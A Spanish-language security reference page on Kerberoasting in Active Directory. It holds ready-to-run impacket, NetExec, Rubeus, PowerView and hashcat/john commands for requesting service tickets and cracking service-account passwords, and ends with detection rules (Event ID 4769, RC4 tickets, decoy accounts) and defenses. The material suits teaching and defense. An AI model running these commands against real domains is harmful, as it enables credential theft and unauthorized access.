Kerberoasting
Arsenal completo de comandos en la cheatsheetKerberoasting abusa de cómo Kerberos emite tickets de servicio para crackear offline las contraseñas de cuentas de servicio, sin tocar la cuenta objetivo ni levantar alarmas en la red.
Por qué funciona. Cualquier usuario del dominio puede pedir un TGS (ticket de servicio) para cualquier cuenta que tenga un Service Principal Name (SPN). Parte de ese ticket va cifrada con el hash NT de la contraseña de la cuenta de servicio. El atacante pide los tickets de las cuentas con SPN, extrae los bloques cifrados y los craquea offline: como el cifrado ocurre en su máquina, no hay intentos de login contra la cuenta y nada parece anómalo.
El abuso. Se piden los TGS y se pasan a hashcat. El tipo de cifrado importa mucho: RC4 (etype 23, modo 13100) cae rápido; AES (etype 17/18, modo 19700) es mucho más lento.
Desde Linux con impacket, según qué credencial tengamos (contraseña, hash o ticket) y si queremos todas las cuentas o una sola:
GetUserSPNs.py <domain>/<user>:<pass> -dc-ip <dc-ip> -request # todas, con contraseña
GetUserSPNs.py <domain>/<user> -hashes :<nt-hash> -dc-ip <dc-ip> -request # con pass-the-hash
GetUserSPNs.py -k -no-pass <domain>/<user> -dc-ip <dc-ip> -request # con TGT (KRB5CCNAME)
GetUserSPNs.py <domain>/<user>:<pass> -dc-ip <dc-ip> -request-user <svc> -outputfile hashes.txt # una sola
netexec ldap <dc-ip> -u <user> -p <pass> --kerberoasting hashes.txt # NetExec como alternativaDesde un equipo Windows del dominio, sin subir binarios, con Rubeus o PowerView:
Rubeus.exe kerberoast /outfile:hashes.txt
Rubeus.exe kerberoast /rc4opsec # solo cuentas RC4-crackeables (menos ruido)
Rubeus.exe kerberoast /user:<svc> /simple # una cuenta concreta
setspn.exe -T <domain> -Q */* # listar SPN del dominio (nativo)
Get-DomainUser -SPN | Get-DomainSPNTicket -Format Hashcat # PowerViewCrackear offline, con el modo según el etype del ticket:
hashcat -m 13100 hashes.txt <rockyou.txt> # RC4 (etype 23)
hashcat -m 19700 hashes.txt <rockyou.txt> # AES256 (etype 18)
john --format=krb5tgs --wordlist=<rockyou.txt> hashes.txtSi controlas un objeto con GenericWrite o GenericAll sobre un usuario, puedes incluso añadirle un SPN y roastearlo: es el Kerberoasting dirigido.
Verificación. Una contraseña crackeada no es acceso hasta validarla: pásala por netexec sobre SMB/WinRM ((Pwn3d!)) para confirmar dónde sirve y qué abre.
Matiz. Kerberoasting no garantiza RCE: es una puerta a un crackeo offline que solo se abre si la contraseña es débil. Contra una cuenta de servicio con contraseña larga y aleatoria, o una gMSA (clave de 120+ caracteres gestionada por el dominio), el hash nunca cae. Es además un ataque autenticado: necesitas credenciales de dominio válidas para pedir los tickets, y la cuenta debe tener un SPN (o poder añadírselo). Que el entorno solo permita AES ralentiza el crack lo bastante como para volverlo inviable en muchos casos.
Cómo detectarlo. Cada petición de TGS deja un Event ID 4769 en el Controlador de Dominio (A Kerberos service ticket was requested). La huella típica es un pico de 4769 desde una sola cuenta pidiendo muchos SPN distintos, y sobre todo un Ticket Encryption Type a 0x17 (RC4) cuando el resto del dominio ya negocia AES: el atacante fuerza RC4 porque cae antes en hashcat. Una regla útil alerta de varios 4769 con etype 0x17 en poco tiempo, filtrando krbtgt y las cuentas de máquina (las que acaban en $). Una cuenta de servicio señuelo, con SPN pero sin uso legítimo, convierte cualquier 4769 sobre ella en una alarma de alta fidelidad.
Defensa. Contraseñas largas y aleatorias o gMSAs en las cuentas de servicio, y forzar solo AES en esas cuentas: así, aunque el TGS se pida y se robe, el hash resultante no es crackeable en la práctica.